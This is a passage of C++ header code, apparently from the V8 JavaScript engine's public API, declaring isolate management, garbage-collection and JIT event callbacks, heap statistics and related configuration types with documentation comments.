// Set the number of threads available to V8, assuming at least 1.
void set_max_available_threads(int value) {
max_available_threads_ = value;
}
size_t code_range_size() const { return code_range_size_; }
void set_code_range_size(size_t value) {
code_range_size_ = value;
}
private:
int max_semi_space_size_;
int max_old_space_size_;
int max_executable_size_;
uint32_t* stack_limit_;
int max_available_threads_;
size_t code_range_size_;
};
// --- Exceptions ---
typedef void (*FatalErrorCallback)(const char* location, const char* message);
typedef void (*MessageCallback)(Handle<Message> message, Handle<Value> error);
// --- Tracing ---
typedef void (*LogEventCallback)(const char* name, int event);
/**
* Create new error objects by calling the corresponding error object
* constructor with the message.
*/
class V8_EXPORT Exception {
public:
static Local<Value> RangeError(Handle<String> message);
static Local<Value> ReferenceError(Handle<String> message);
static Local<Value> SyntaxError(Handle<String> message);
static Local<Value> TypeError(Handle<String> message);
static Local<Value> Error(Handle<String> message);
/**
* Creates an error message for the given exception.
* Will try to reconstruct the original stack trace from the exception value,
* or capture the current stack trace if not available.
*/
static Local<Message> CreateMessage(Handle<Value> exception);
/**
* Returns the original stack trace that was captured at the creation time
* of a given exception, or an empty handle if not available.
*/
static Local<StackTrace> GetStackTrace(Handle<Value> exception);
};
// --- Counters Callbacks ---
typedef int* (*CounterLookupCallback)(const char* name);
typedef void* (*CreateHistogramCallback)(const char* name,
int min,
int max,
size_t buckets);
typedef void (*AddHistogramSampleCallback)(void* histogram, int sample);
// --- Memory Allocation Callback ---
enum ObjectSpace {
kObjectSpaceNewSpace = 1 << 0,
kObjectSpaceOldPointerSpace = 1 << 1,
kObjectSpaceOldDataSpace = 1 << 2,
kObjectSpaceCodeSpace = 1 << 3,
kObjectSpaceMapSpace = 1 << 4,
kObjectSpaceCellSpace = 1 << 5,
kObjectSpaceLoSpace = 1 << 6,
kObjectSpaceAll = kObjectSpaceNewSpace | kObjectSpaceOldPointerSpace |
kObjectSpaceOldDataSpace | kObjectSpaceCodeSpace |
kObjectSpaceMapSpace | kObjectSpaceLoSpace
};
enum AllocationAction {
kAllocationActionAllocate = 1 << 0,
kAllocationActionFree = 1 << 1,
kAllocationActionAll = kAllocationActionAllocate | kAllocationActionFree
};
typedef void (*MemoryAllocationCallback)(ObjectSpace space,
AllocationAction action,
int size);
// --- Leave Script Callback ---
typedef void (*CallCompletedCallback)();
// --- Promise Reject Callback ---
enum PromiseRejectEvent {
kPromiseRejectWithNoHandler = 0,
kPromiseHandlerAddedAfterReject = 1
};
class PromiseRejectMessage {
public:
PromiseRejectMessage(Handle<Promise> promise, PromiseRejectEvent event,
Handle<Value> value, Handle<StackTrace> stack_trace)
: promise_(promise),
event_(event),
value_(value),
stack_trace_(stack_trace) {}
V8_INLINE Handle<Promise> GetPromise() const { return promise_; }
V8_INLINE PromiseRejectEvent GetEvent() const { return event_; }
V8_INLINE Handle<Value> GetValue() const { return value_; }
// DEPRECATED. Use v8::Exception::CreateMessage(GetValue())->GetStackTrace()
V8_INLINE Handle<StackTrace> GetStackTrace() const { return stack_trace_; }
private:
Handle<Promise> promise_;
PromiseRejectEvent event_;
Handle<Value> value_;
Handle<StackTrace> stack_trace_;
};
typedef void (*PromiseRejectCallback)(PromiseRejectMessage message);
// --- Microtask Callback ---
typedef void (*MicrotaskCallback)(void* data);
// --- Failed Access Check Callback ---
typedef void (*FailedAccessCheckCallback)(Local<Object> target,
AccessType type,
Local<Value> data);
// --- AllowCodeGenerationFromStrings callbacks ---
/**
* Callback to check if code generation from strings is allowed. See
* Context::AllowCodeGenerationFromStrings.
*/
typedef bool (*AllowCodeGenerationFromStringsCallback)(Local<Context> context);
// --- Garbage Collection Callbacks ---
/**
* Applications can register callback functions which will be called
* before and after a garbage collection. Allocations are not
* allowed in the callback functions, you therefore cannot manipulate
* objects (set or delete properties for example) since it is possible
* such operations will result in the allocation of objects.
*/
enum GCType {
kGCTypeScavenge = 1 << 0,
kGCTypeMarkSweepCompact = 1 << 1,
kGCTypeAll = kGCTypeScavenge | kGCTypeMarkSweepCompact
};
enum GCCallbackFlags {
kNoGCCallbackFlags = 0,
kGCCallbackFlagCompacted = 1 << 0,
kGCCallbackFlagConstructRetainedObjectInfos = 1 << 1,
kGCCallbackFlagForced = 1 << 2
};
typedef void (*GCPrologueCallback)(GCType type, GCCallbackFlags flags);
typedef void (*GCEpilogueCallback)(GCType type, GCCallbackFlags flags);
typedef void (*InterruptCallback)(Isolate* isolate, void* data);
/**
* Collection of V8 heap information.
*
* Instances of this class can be passed to v8::V8::HeapStatistics to
* get heap statistics from V8.
*/
class V8_EXPORT HeapStatistics {
public:
HeapStatistics();
size_t total_heap_size() { return total_heap_size_; }
size_t total_heap_size_executable() { return total_heap_size_executable_; }
size_t total_physical_size() { return total_physical_size_; }
size_t used_heap_size() { return used_heap_size_; }
size_t heap_size_limit() { return heap_size_limit_; }
private:
size_t total_heap_size_;
size_t total_heap_size_executable_;
size_t total_physical_size_;
size_t used_heap_size_;
size_t heap_size_limit_;
friend class V8;
friend class Isolate;
};
class RetainedObjectInfo;
/**
* FunctionEntryHook is the type of the profile entry hook called at entry to
* any generated function when function-level profiling is enabled.
*
* \param function the address of the function that's being entered.
* \param return_addr_location points to a location on stack where the machine
* return address resides. This can be used to identify the caller of
* \p function, and/or modified to divert execution when \p function exits.
*
* \note the entry hook must not cause garbage collection.
*/
typedef void (*FunctionEntryHook)(uintptr_t function,
uintptr_t return_addr_location);
/**
* A JIT code event is issued each time code is added, moved or removed.
*
* \note removal events are not currently issued.
*/
struct JitCodeEvent {
enum EventType {
CODE_ADDED,
CODE_MOVED,
CODE_REMOVED,
CODE_ADD_LINE_POS_INFO,
CODE_START_LINE_INFO_RECORDING,
CODE_END_LINE_INFO_RECORDING
};
// Definition of the code position type. The "POSITION" type means the place
// in the source code which are of interest when making stack traces to
// pin-point the source location of a stack frame as close as possible.
// The "STATEMENT_POSITION" means the place at the beginning of each
// statement, and is used to indicate possible break locations.
enum PositionType { POSITION, STATEMENT_POSITION };
// Type of event.
EventType type;
// Start of the instructions.
void* code_start;
// Size of the instructions.
size_t code_len;
// Script info for CODE_ADDED event.
Handle<UnboundScript> script;
// User-defined data for *_LINE_INFO_* event. It's used to hold the source
// code line information which is returned from the
// CODE_START_LINE_INFO_RECORDING event. And it's passed to subsequent
// CODE_ADD_LINE_POS_INFO and CODE_END_LINE_INFO_RECORDING events.
void* user_data;
struct name_t {
// Name of the object associated with the code, note that the string is not
// zero-terminated.
const char* str;
// Number of chars in str.
size_t len;
};
struct line_info_t {
// PC offset
size_t offset;
// Code postion
size_t pos;
// The position type.
PositionType position_type;
};
union {
// Only valid for CODE_ADDED.
struct name_t name;
// Only valid for CODE_ADD_LINE_POS_INFO
struct line_info_t line_info;
// New location of instructions. Only valid for CODE_MOVED.
void* new_code_start;
};
};
/**
* Option flags passed to the SetJitCodeEventHandler function.
*/
enum JitCodeEventOptions {
kJitCodeEventDefault = 0,
// Generate callbacks for already existent code.
kJitCodeEventEnumExisting = 1
};
/**
* Callback function passed to SetJitCodeEventHandler.
*
* \param event code add, move or removal event.
*/
typedef void (*JitCodeEventHandler)(const JitCodeEvent* event);
/**
* Interface for iterating through all external resources in the heap.
*/
class V8_EXPORT ExternalResourceVisitor { // NOLINT
public:
virtual ~ExternalResourceVisitor() {}
virtual void VisitExternalString(Handle<String> string) {}
};
/**
* Interface for iterating through all the persistent handles in the heap.
*/
class V8_EXPORT PersistentHandleVisitor { // NOLINT
public:
virtual ~PersistentHandleVisitor() {}
virtual void VisitPersistentHandle(Persistent<Value>* value,
uint16_t class_id) {}
};
/**
* Isolate represents an isolated instance of the V8 engine. V8 isolates have
* completely separate states. Objects from one isolate must not be used in
* other isolates. The embedder can create multiple isolates and use them in
* parallel in multiple threads. An isolate can be entered by at most one
* thread at any given time. The Locker/Unlocker API must be used to
* synchronize.
*/
class V8_EXPORT Isolate {
public:
/**
* Initial configuration parameters for a new Isolate.
*/
struct CreateParams {
CreateParams()
: entry_hook(NULL),
code_event_handler(NULL),
snapshot_blob(NULL),
counter_lookup_callback(NULL),
create_histogram_callback(NULL),
add_histogram_sample_callback(NULL) {}
/**
* The optional entry_hook allows the host application to provide the
* address of a function that's invoked on entry to every V8-generated
* function. Note that entry_hook is invoked at the very start of each
* generated function. Furthermore, if an entry_hook is given, V8 will
* always run without a context snapshot.
*/
FunctionEntryHook entry_hook;
/**
* Allows the host application to provide the address of a function that is
* notified each time code is added, moved or removed.
*/
JitCodeEventHandler code_event_handler;
/**
* ResourceConstraints to use for the new Isolate.
*/
ResourceConstraints constraints;
/**
* Explicitly specify a startup snapshot blob. The embedder owns the blob.
*/
StartupData* snapshot_blob;
/**
* Enables the host application to provide a mechanism for recording
* statistics counters.
*/
CounterLookupCallback counter_lookup_callback;
/**
* Enables the host application to provide a mechanism for recording
* histograms. The CreateHistogram function returns a
* histogram which will later be passed to the AddHistogramSample
* function.
*/
CreateHistogramCallback create_histogram_callback;
AddHistogramSampleCallback add_histogram_sample_callback;
};
/**
* Stack-allocated class which sets the isolate for all operations
* executed within a local scope.
*/
class V8_EXPORT Scope {
public:
explicit Scope(Isolate* isolate) : isolate_(isolate) {
isolate->Enter();
}
~Scope() { isolate_->Exit(); }
private:
Isolate* const isolate_;
// Prevent copying of Scope objects.
Scope(const Scope&);
Scope& operator=(const Scope&);
};
/**
* Assert that no Javascript code is invoked.
*/
class V8_EXPORT DisallowJavascriptExecutionScope {
public:
enum OnFailure { CRASH_ON_FAILURE, THROW_ON_FAILURE };
DisallowJavascriptExecutionScope(Isolate* isolate, OnFailure on_failure);
~DisallowJavascriptExecutionScope();
private:
bool on_failure_;
void* internal_;
// Prevent copying of Scope objects.
DisallowJavascriptExecutionScope(const DisallowJavascriptExecutionScope&);
DisallowJavascriptExecutionScope& operator=(
const DisallowJavascriptExecutionScope&);
};
/**
* Introduce exception to DisallowJavascriptExecutionScope.
*/
class V8_EXPORT AllowJavascriptExecutionScope {
public:
explicit AllowJavascriptExecutionScope(Isolate* isolate);
~AllowJavascriptExecutionScope();
private:
void* internal_throws_;
void* internal_assert_;
// Prevent copying of Scope objects.
AllowJavascriptExecutionScope(const AllowJavascriptExecutionScope&);
AllowJavascriptExecutionScope& operator=(
const AllowJavascriptExecutionScope&);
};
/**
* Do not run microtasks while this scope is active, even if microtasks are
* automatically executed otherwise.
*/
class V8_EXPORT SuppressMicrotaskExecutionScope {
public:
explicit SuppressMicrotaskExecutionScope(Isolate* isolate);
~SuppressMicrotaskExecutionScope();
private:
internal::Isolate* isolate_;
// Prevent copying of Scope objects.
SuppressMicrotaskExecutionScope(const SuppressMicrotaskExecutionScope&);
SuppressMicrotaskExecutionScope& operator=(
const SuppressMicrotaskExecutionScope&);
};
/**
* Types of garbage collections that can be requested via
* RequestGarbageCollectionForTesting.
*/
enum GarbageCollectionType {
kFullGarbageCollection,
kMinorGarbageCollection
};
/**
* Features reported via the SetUseCounterCallback callback. Do not chang
* assigned numbers of existing items; add new features to the end of this
* list.
*/
enum UseCounterFeature {
kUseAsm = 0,
kBreakIterator = 1,
kLegacyConst = 2,
kUseCounterFeatureCount // This enum value must be last.
};
typedef void (*UseCounterCallback)(Isolate* isolate,
UseCounterFeature feature);
/**
* Creates a new isolate. Does not change the currently entered
* isolate.
*
* When an isolate is no longer used its resources should be freed
* by calling Dispose(). Using the delete operator is not allowed.
*
* V8::Initialize() must have run prior to this.
*/
static Isolate* New(const CreateParams& params = CreateParams());
/**
* Returns the entered isolate for the current thread or NULL in
* case there is no current isolate.
*
* This method must not be invoked before V8::Initialize() was invoked.
*/
static Isolate* GetCurrent();
/**
* Methods below this point require holding a lock (using Locker) in
* a multi-threaded environment.
*/
/**
* Sets this isolate as the entered one for the current thread.
* Saves the previously entered one (if any), so that it can be
* restored when exiting. Re-entering an isolate is allowed.
*/
void Enter();
/**
* Exits this isolate by restoring the previously entered one in the
* current thread. The isolate may still stay the same, if it was
* entered more than once.
*
* Requires: this == Isolate::GetCurrent().
*/
void Exit();
/**
* Disposes the isolate. The isolate must not be entered by any
* thread to be disposable.
*/
void Dispose();
/**
* Associate embedder-specific data with the isolate. |slot| has to be
* between 0 and GetNumberOfDataSlots() - 1.
*/
V8_INLINE void SetData(uint32_t slot, void* data);
/**
* Retrieve embedder-specific data from the isolate.
* Returns NULL if SetData has never been called for the given |slot|.
*/
V8_INLINE void* GetData(uint32_t slot);
/**
* Returns the maximum number of available embedder data slots. Valid slots
* are in the range of 0 - GetNumberOfDataSlots() - 1.
*/
V8_INLINE static uint32_t GetNumberOfDataSlots();
/**
* Get statistics about the heap memory usage.
*/
void GetHeapStatistics(HeapStatistics* heap_statistics);
/**
* Get a call stack sample from the isolate.
* \param state Execution state.
* \param frames Caller allocated buffer to store stack frames.
* \param frames_limit Maximum number of frames to capture. The buffer must
* be large enough to hold the number of frames.
* \param sample_info The sample info is filled up by the function
* provides number of actual captured stack frames and
* the current VM state.
* \note GetStackSample should only be called when the JS thread is paused or
* interrupted. Otherwise the behavior is undefined.
*/
void GetStackSample(const RegisterState& state, void** frames,
size_t frames_limit, SampleInfo* sample_info);
/**
* Adjusts the amount of registered external memory. Used to give V8 an
* indication of the amount of externally allocated memory that is kept alive
* by JavaScript objects. V8 uses this to decide when to perform global
* garbage collections. Registering externally allocated memory will trigger
* global garbage collections more often than it would otherwise in an attempt
* to garbage collect the JavaScript objects that keep the externally
* allocated memory alive.
*
* \param change_in_bytes the change in externally allocated memory that is
* kept alive by JavaScript objects.
* \returns the adjusted value.
*/
V8_INLINE int64_t
AdjustAmountOfExternalAllocatedMemory(int64_t change_in_bytes);
/**
* Returns heap profiler for this isolate. Will return NULL until the isolate
* is initialized.
*/
HeapProfiler* GetHeapProfiler();
/**
* Returns CPU profiler for this isolate. Will return NULL unless the isolate
* is initialized. It is the embedder's responsibility to stop all CPU
* profiling activities if it has started any.
*/
CpuProfiler* GetCpuProfiler();
/** Returns true if this isolate has a current context. */
bool InContext();
/** Returns the context that is on the top of the stack. */
Local<Context> GetCurrentContext();
/**
* Returns the context of the calling JavaScript code. That is the
* context of the top-most JavaScript frame. If there are no
* JavaScript frames an empty handle is returned.
*/
Local<Context> GetCallingContext();
/** Returns the last entered context. */
Local<Context> GetEnteredContext();
/**
* Schedules an exception to be thrown when returning to JavaScript. When an
* exception has been scheduled it is illegal to invoke any JavaScript
* operation; the caller must return immediately and only after the exception
* has been handled does it become legal to invoke JavaScript operations.
*/
Local<Value> ThrowException(Local<Value> exception);
/**
* Allows the host application to group objects together. If one
* object in the group is alive, all objects in the group are alive.
* After each garbage collection, object groups are removed. It is
* intended to be used in the before-garbage-collection callback
* function, for instance to simulate DOM tree connections among JS
* wrapper objects. Object groups for all dependent handles need to
* be provided for kGCTypeMarkSweepCompact collections, for all other
* garbage collection types it is sufficient to provide object groups
* for partially dependent handles only.
*/
template<typename T> void SetObjectGroupId(const Persistent<T>& object,
UniqueId id);
/**
* Allows the host application to declare implicit references from an object
* group to an object. If the objects of the object group are alive, the child
* object is alive too. After each garbage collection, all implicit references
* are removed. It is intended to be used in the before-garbage-collection
* callback function.
*/
template<typename T> void SetReferenceFromGroup(UniqueId id,
const Persistent<T>& child);
/**
* Allows the host application to declare implicit references from an object
* to another object. If the parent object is alive, the child object is alive
* too. After each garbage collection, all implicit references are removed. It
* is intended to be used in the before-garbage-collection callback function.
*/
template<typename T, typename S>
void SetReference(const Persistent<T>& parent, const Persistent<S>& child);
typedef void (*GCPrologueCallback)(Isolate* isolate,
GCType type,
GCCallbackFlags flags);
typedef void (*GCEpilogueCallback)(Isolate* isolate,
GCType type,
GCCallbackFlags flags);
/**
* Enables the host application to receive a notification before a
* garbage collection. Allocations are allowed in the callback function,
* but the callback is not re-entrant: if the allocation inside it will
* trigger the garbage collection, the callback won't be called again.
* It is possible to specify the GCType filter for your callback. But it is
* not possible to register the same callback function two times with
* different GCType filters.
*/
void AddGCPrologueCallback(
GCPrologueCallback callback, GCType gc_type_filter = kGCTypeAll);
/**
* This function removes callback which was installed by
* AddGCPrologueCallback function.
*/
void RemoveGCPrologueCallback(GCPrologueCallback callback);
/**
* Enables the host application to receive a notification after a
* garbage collection. Allocations are allowed in the callback function,
* but the callback is not re-entrant: if the allocation inside it will
* trigger the garbage collection, the callback won't be called again.
* It is possible to specify the GCType filter for your callback. But it is
* not possible to register the same callback function two times with
* different GCType filters.
*/
void AddGCEpilogueCallback(
GCEpilogueCallback callback, GCType gc_type_filter = kGCTypeAll);
/**
* This function removes callback which was installed by
* AddGCEpilogueCallback function.
*/
void RemoveGCEpilogueCallback(GCEpilogueCallback callback);
/**
* Forcefully terminate the current thread of JavaScript execution
* in the given isolate.
*
* This method can be used by any thread even if that thread has not
* acquired the V8 lock with a Locker object.
*/
void TerminateExecution();
/**
* Is V8 terminating JavaScript execution.
*
* Returns true if JavaScript execution is currently terminating
* because of a call to TerminateExecution. In that case there are
* still JavaScript frames on the stack and the termination
* exception is still active.
*/
bool IsExecutionTerminating();
/**
* Resume execution capability in the given isolate, whose execution
* was previously forcefully terminated using TerminateExecution().
*
* When execution is forcefully terminated using TerminateExecution(),
* the isolate can not resume execution until all JavaScript frames
* have propagated the uncatchable exception which is generated. This
* method allows the program embedding the engine to handle the
* termination event and resume execution capability, even if
* JavaScript frames remain on the stack.
*
* This method can be used by any thread even if that thread has not
* acquired the V8 lock with a Locker object.
*/
void CancelTerminateExecution();
/**
* Request V8 to interrupt long running JavaScript code and invoke
* the given |callback| passing the given |data| to it. After |callback|
* returns control will be returned to the JavaScript code.
* There may be a number of interrupt requests in flight.
* Can be called from another thread without acquiring a |Locker|.
* Registered |callback| must not reenter interrupted Isolate.
*/
void RequestInterrupt(InterruptCallback callback, void* data);
/**
* Request garbage collection in this Isolate. It is only valid to call this
* function if --expose_gc was specified.
*
* This should only be used for testing purposes and not to enforce a garbage
* collection schedule. It has strong negative impact on the garbage
* collection performance. Use IdleNotification() or LowMemoryNotification()
* instead to influence the garbage collection schedule.
*/
void RequestGarbageCollectionForTesting(GarbageCollectionType type);
/**
* Set the callback to invoke for logging event.
*/
void SetEventLogger(LogEventCallback that);
/**
* Adds a callback to notify the host application when a script finished
* running. If a script re-enters the runtime during executing, the
* CallCompletedCallback is only invoked when the outer-most script
* execution ends. Executing scripts inside the callback do not trigger
* further callbacks.
*/
void AddCallCompletedCallback(CallCompletedCallback callback);
/**
* Removes callback that was installed by AddCallCompletedCallback.
*/
void RemoveCallCompletedCallback(CallCompletedCallback callback);
/**
* Set callback to notify about promise reject with no handler, or
* revocation of such a previous notification once the handler is added.
*/
void SetPromiseRejectCallback(PromiseRejectCallback callback);
/**
* Experimental: Runs the Microtask Work Queue until empty
* Any exceptions thrown by microtask callbacks are swallowed.
*/
void RunMicrotasks();
/**
* Experimental: Enqueues the callback to the Microtask Work Queue
*/
void EnqueueMicrotask(Handle<Function> microtask);
/**
* Experimental: Enqueues the callback to the Microtask Work Queue
*/
void EnqueueMicrotask(MicrotaskCallback microtask, void* data = NULL);
/**
* Experimental: Controls whether the Microtask Work Queue is automatically
* run when the script call depth decrements to zero.
*/
void SetAutorunMicrotasks(bool autorun);
/**
* Experimental: Returns whether the Microtask Work Queue is automatically
* run when the script call depth decrements to zero.
*/
bool WillAutorunMicrotasks() const;
/**
* Sets a callback for counting the number of times a feature of V8 is used.
*/
void SetUseCounterCallback(UseCounterCallback callback);
/**
* Enables the host application to provide a mechanism for recording
* statistics counters.
*/
void SetCounterFunction(CounterLookupCallback);
/**
* Enables the host application to provide a mechanism for recording
* histograms. The CreateHistogram function returns a
* histogram which will later be passed to the AddHistogramSample
* function.
*/
void SetCreateHistogramFunction(CreateHistogramCallback);
void SetAddHistogramSampleFunction(AddHistogramSampleCallback);
/**
* Optional notification that the embedder is idle.
* V8 uses the notification to perform garbage collection.
* This call can be used repeatedly if the embedder remains idle.
* Returns true if the embedder should stop calling IdleNotification
* until real work has been done. This indicates that V8 has done
* as much cleanup as it will be able to do.
*
* The idle_time_in_ms argument specifies the time V8 has to perform
* garbage collection. There is no guarantee that the actual work will be
* done within the time limit. This variant is deprecated and will be removed
* in the future.
*
* The deadline_in_seconds argument specifies the deadline V8 has to finish
* garbage collection work. deadline_in_seconds is compared with
* MonotonicallyIncreasingTime() and should be based on the same timebase as
* that function. There is no guarantee that the actual work will be done
* within the time limit.
*/
bool IdleNotification(int idle_time_in_ms);
bool IdleNotificationDeadline(double deadline_in_seconds);
/**
* Optional notification that the system is running low on memory.
* V8 uses these notifications to attempt to free memory.
*/
void LowMemoryNotification();
/**
* Optional notification that a context has been disposed. V8 uses
* these notifications to guide the GC heuristic. Returns the number
* of context disposals - including this one - since the last time
* V8 had a chance to clean up.
*
* The optional parameter |dependant_context| specifies whether the disposed
* context was depending on state from other contexts or not.
*/
int ContextDisposedNotification(bool dependant_context = true);
/**
* Allows the host application to provide the address of a function that is
* notified each time code is added, moved or removed.
*
* \param options options for the JIT code event handler.
* \param event_handler the JIT code event handler, which will be invoked
* each time code is added, moved or removed.
* \note \p event_handler won't get notified of existent code.
* \note since code removal notifications are not currently issued, the
* \p event_handler may get notifications of code that overlaps earlier
* code notifications. This happens when code areas are reused, and the
* earlier overlapping code areas should therefore be discarded.
* \note the events passed to \p event_handler and the strings they point to
* are not guaranteed to live past each call. The \p event_handler must
* copy strings and other parameters it needs to keep around.
* \note the set of events declared in JitCodeEvent::EventType is expected to
* grow over time, and the JitCodeEvent structure is expected to accrue
* new members. The \p event_handler function must ignore event codes
* it does not recognize to maintain future compatibility.
* \note Use Isolate::CreateParams to get events for code executed during
* Isolate setup.
*/
void SetJitCodeEventHandler(JitCodeEventOptions options,
JitCodeEventHandler event_handler);
/**
* Modifies the stack limit for this Isolate.
*
* \param stack_limit An address beyond which the Vm's stack may not grow.
*
* \note If you are using threads then you should hold the V8::Locker lock
* while setting the stack limit and you must set a non-default stack
* limit separately for each thread.
*/
void SetStackLimit(uintptr_t stack_limit);
/**
* Returns a memory range that can potentially contain jitted code.
*
* On Win64, embedders are advised to install function table callbacks for
* these ranges, as default SEH won't be able to unwind through jitted code.
*
* The first page of the code range is reserved for the embedder and is
* committed, writable, and executable.
*
* Might be empty on other platforms.
*
* https://code.google.com/p/v8/issues/detail?id=3598
*/
void GetCodeRange(void** start, size_t* length_in_bytes);
/** Set the callback to invoke in case of fatal errors. */
void SetFatalErrorHandler(FatalErrorCallback that);
/**
* Set the callback to invoke to check if code generation from
* strings should be allowed.
*/
void SetAllowCodeGenerationFromStringsCallback(
AllowCodeGenerationFromStringsCallback callback);
/**
* Check if V8 is dead and therefore unusable. This is the case after
* fatal errors such as out-of-memory situations.
*/
bool IsDead();
/**
* Adds a message listener.
*
* The same message listener can be added more than once and in that
* case it will be called more than once for each message.
*
* If data is specified, it will be passed to the callback when it is called.
* Otherwise, the exception object will be passed to the callback instead.
*/
bool AddMessageListener(MessageCallback that,
Handle<Value> data = Handle<Value>());
/**
* Remove all message listeners from the specified callback function.
*/
void RemoveMessageListeners(MessageCallback that);
/** Callback function for reporting failed access checks.*/
void SetFailedAccessCheckCallbackFunction(FailedAccessCheckCallback);
/**
* Tells V8 to capture current stack trace when uncaught exception occurs
* and report it to the message listeners. The option is off by default.
*/
void SetCaptureStackTraceForUncaughtExceptions(
bool capture, int frame_limit = 10,
StackTrace::StackTraceOptions options = StackTrace::kOverview);
/**
* Enables the host application to provide a mechanism to be notified
* and perform custom logging when V8 Allocates Executable Memory.
*/
void AddMemoryAllocationCallback(MemoryAllocationCallback callback,
ObjectSpace space, AllocationAction action);
/**
* Removes callback that was installed by AddMemoryAllocationCallback.
*/
void RemoveMemoryAllocationCallback(MemoryAllocationCallback callback);
/**
* Iterates through all external resources referenced from current isolate
* heap. GC is not invoked prior to iterating, therefore there is no
* guarantee that visited objects are still alive.
*/
void VisitExternalResources(ExternalResourceVisitor* visitor);
/**
* Iterates through all the persistent handles in the current isolate's heap
* that have class_ids.
*/
void VisitHandlesWithClassIds(PersistentHandleVisitor* visitor);
/**
* Iterates through all the persistent handles in the current isolate's heap
* that have class_ids and are candidates to be marked as partially dependent
* handles. This will visit handles to young objects created since the last
* garbage collection but is free to visit an arbitrary superset of these
* objects.
*/
void VisitHandlesForPartialDependence(PersistentHandleVisitor* visitor);
private:
template <class K, class V, class Traits>
friend class PersistentValueMapBase;
Isolate();
Isolate(const Isolate&);
~Isolate();
Isolate& operator=(const Isolate&);
void* operator new(size_t size);
void operator delete(void*, size_t);
void SetObjectGroupId(internal::Object** object, UniqueId id);
void SetReferenceFromGroup(UniqueId id, internal::Object** object);
void SetReference(internal::Object** parent, internal::Object** child);
void CollectAllGarbage(const char* gc_reason);
};
class V8_EXPORT StartupData {
public:
const char* data;
int raw_size;
};
/**
* EntropySource is used as a callback function when v8 needs a source
* of entropy.
*/
typedef bool (*EntropySource)(unsigned char* buffer, size_t length);
/**
* ReturnAddressLocationResolver is used as a callback function when v8 is
* resolving the location of a return address on the stack. Profilers that
* change the return address on the stack can use this to resolve the stack
* location to whereever the profiler stashed the original return address.
*
* \param return_addr_location points to a location on stack where a machine
* return address resides.
* \returns either return_addr_location, or else a pointer to the profiler's
* copy of the original return address.
*
* \note the resolver function must not cause garbage collection.
*/
typedef uintptr_t (*ReturnAddressLocationResolver)(
uintptr_t return_addr_location);
/**
* Container class for static utility functions.
*/
class V8_EXPORT V8 {
public:
/** Set the callback to invoke in case of fatal errors. */
V8_INLINE static V8_DEPRECATE_SOON(
"Use isolate version",
void SetFatalErrorHandler(FatalErrorCallback that));
/**
* Set the callback to invoke to check if code generation from
* strings should be allowed.
*/
V8_INLINE static V8_DEPRECATE_SOON(
"Use isolate version", void SetAllowCodeGenerationFromStringsCallback(
AllowCodeGenerationFromStringsCallback that));
/**
* Set allocator to use for ArrayBuffer memory.
* The allocator should be set only once. The allocator should be set
* before any code tha uses ArrayBuffers is executed.
* This allocator is used in all isolates.
*/
static void SetArrayBufferAllocator(ArrayBuffer::Allocator* allocator);
/**
* Check if V8 is dead and therefore unusable. This is the case after
* fatal errors such as out-of-memory situations.
*/
V8_INLINE static V8_DEPRECATE_SOON("no alternative", bool IsDead());
/**
* Hand startup data to V8, in case the embedder has chosen to build
* V8 with external startup data.
*
* Note:
* - By default the startup data is linked into the V8 library, in which
* case this function is not meaningful.
* - If this needs to be called, it needs to be called before V8
* tries to make use of its built-ins.
* - To avoid unnecessary copies of data, V8 will point directly into the
* given data blob, so pretty please keep it around until V8 exit.
* - Compression of the startup blob might be useful, but needs to
* handled entirely on the embedders' side.
* - The call will abort if the data is invalid.
*/
static void SetNativesDataBlob(StartupData* startup_blob);
static void SetSnapshotDataBlob(StartupData* startup_blob);
/**
* Create a new isolate and context for the purpose of capturing a snapshot
* Returns { NULL, 0 } on failure.
* The caller owns the data array in the return value.
*/
static StartupData CreateSnapshotDataBlob(const char* custom_source = NULL);
/**
* Adds a message listener.
*
* The same message listener can be added more than once and in that
* case it will be called more than once for each message.
*
* If data is specified, it will be passed to the callback when it is called.
* Otherwise, the exception object will be passed to the callback instead.
*/
V8_INLINE static V8_DEPRECATE_SOON(
"Use isolate version",
bool AddMessageListener(MessageCallback that,
Handle<Value> data = Handle<Value>()));
/**
* Remove all message listeners from the specified callback function.
*/
V8_INLINE static V8_DEPRECATE_SOON(
"Use isolate version", void RemoveMessageListeners(MessageCallback that));
/**
* Tells V8 to capture current stack trace when uncaught exception occurs
* and report it to the message listeners. The option is off by default.
*/
V8_INLINE static V8_DEPRECATE_SOON(
"Use isolate version",
void SetCaptureStackTraceForUncaughtExceptions(
bool capture, int frame_limit = 10,
StackTrace::StackTraceOptions options = StackTrace::kOverview));
/**
* Sets V8 flags from a string.
*/
static void SetFlagsFromString(const char* str, int length);
/**
* Sets V8 flags from the command line.
*/
static void SetFlagsFromCommandLine(int* argc,
char** argv,
bool remove_flags);
/** Get the version string. */
static const char* GetVersion();
/** Callback function for reporting failed access checks.*/
V8_INLINE static V8_DEPRECATE_SOON(
"Use isolate version",
void SetFailedAccessCheckCallbackFunction(FailedAccessCheckCallback));
/**
* Enables the host application to receive a notification before a
* garbage collection. Allocations are not allowed in the
* callback function, you therefore cannot manipulate objects (set
* or delete properties for example) since it is possible such
* operations will result in the allocation of objects. It is possible
* to specify the GCType filter for your callback. But it is not possible to
* register the same callback function two times with different
* GCType filters.
*/
static V8_DEPRECATE_SOON(
"Use isolate version",
void AddGCPrologueCallback(GCPrologueCallback callback,
GCType gc_type_filter = kGCTypeAll));
/**
* This function removes callback which was installed by
* AddGCPrologueCallback function.
*/
V8_INLINE static V8_DEPRECATE_SOON(
"Use isolate version",
void RemoveGCPrologueCallback(GCPrologueCallback callback));
/**
* Enables the host application to receive a notification after a
* garbage collection. Allocations are not allowed in the
* callback function, you therefore cannot manipulate objects (set
* or delete properties for example) since it is possible such
* operations will result in the allocation of objects. It is possible
* to specify the GCType filter for your callback. But it is not possible to
* register the same callback function two times with different
* GCType filters.
*/
static V8_DEPRECATE_SOON(
"Use isolate version",
void AddGCEpilogueCallback(GCEpilogueCallback callback,
GCType gc_type_filter = kGCTypeAll));
/**
* This function removes callback which was installed by
* AddGCEpilogueCallback function.
*/
V8_INLINE static V8_DEPRECATE_SOON(
"Use isolate version",
void RemoveGCEpilogueCallback(GCEpilogueCallback callback));
/**
* Enables the host application to provide a mechanism to be notified
* and perform custom logging when V8 Allocates Executable Memory.
*/
V8_INLINE static V8_DEPRECATE_SOON(
"Use isolate version",
void AddMemoryAllocationCallback(MemoryAllocationCallback callback,
ObjectSpace space,
AllocationAction action));
/**
* Removes callback that was installed by AddMemoryAllocationCallback.
*/
V8_INLINE static V8_DEPRECATE_SOON(
"Use isolate version",
void RemoveMemoryAllocationCallback(MemoryAllocationCallback callback));
/**
* Initializes V8. This function needs to be called before the first Isolate
* is created. It always returns true.
